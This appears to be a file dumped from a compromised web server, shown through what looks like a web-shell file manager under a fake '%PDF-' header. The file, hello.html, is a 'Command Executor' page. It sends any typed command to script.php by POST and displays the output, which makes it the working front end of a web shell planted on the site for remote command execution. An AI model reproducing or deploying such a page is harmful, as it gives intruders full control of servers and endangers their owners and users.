%PDF- %PDF-
Direktori : /var/metrics/ |
Current File : //var/metrics/hello.html |
<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>Command Executor</title> <style> input[type="text"] { width: 100%; padding: 10px; box-sizing: border-box; border-radius: 10px; background-color: blueviolet; } #output { border: 1px solid #ccc; padding: 10px; white-space: pre-wrap; word-wrap: break-word; background-color: gray; border-radius: 5px; } </style> </head> <body style="margin: 0; padding: 0;"> <form id="commandForm"> <input type="text" id="commandInput" placeholder="Enter command" required> <button style="width: 100%; text-align: left; border-radius: 5px;" type="submit">Execute</button> </form> <div id="output"></div> <div style="text-align: center;"> <img style="display: inline-block;" src="https://fileuploader.generativeobjects.com/uploads/sg3d.gif"> </div> <script type="text/javascript"> document.getElementById('commandForm').addEventListener('submit', function(e) { e.preventDefault(); const command = document.getElementById('commandInput').value; const outputDiv = document.getElementById('output'); // Clear previous output outputDiv.textContent = 'Executing command...'; // Send AJAX request fetch('script.php', { method: 'POST', headers: { 'Content-Type': 'application/x-www-form-urlencoded', }, body: 'command=' + encodeURIComponent(command) }) .then(response => response.text()) .then(data => { outputDiv.textContent = data; }) .catch(error => { outputDiv.textContent = 'An error occurred: ' + error.message; }); }); </script> </body> </html>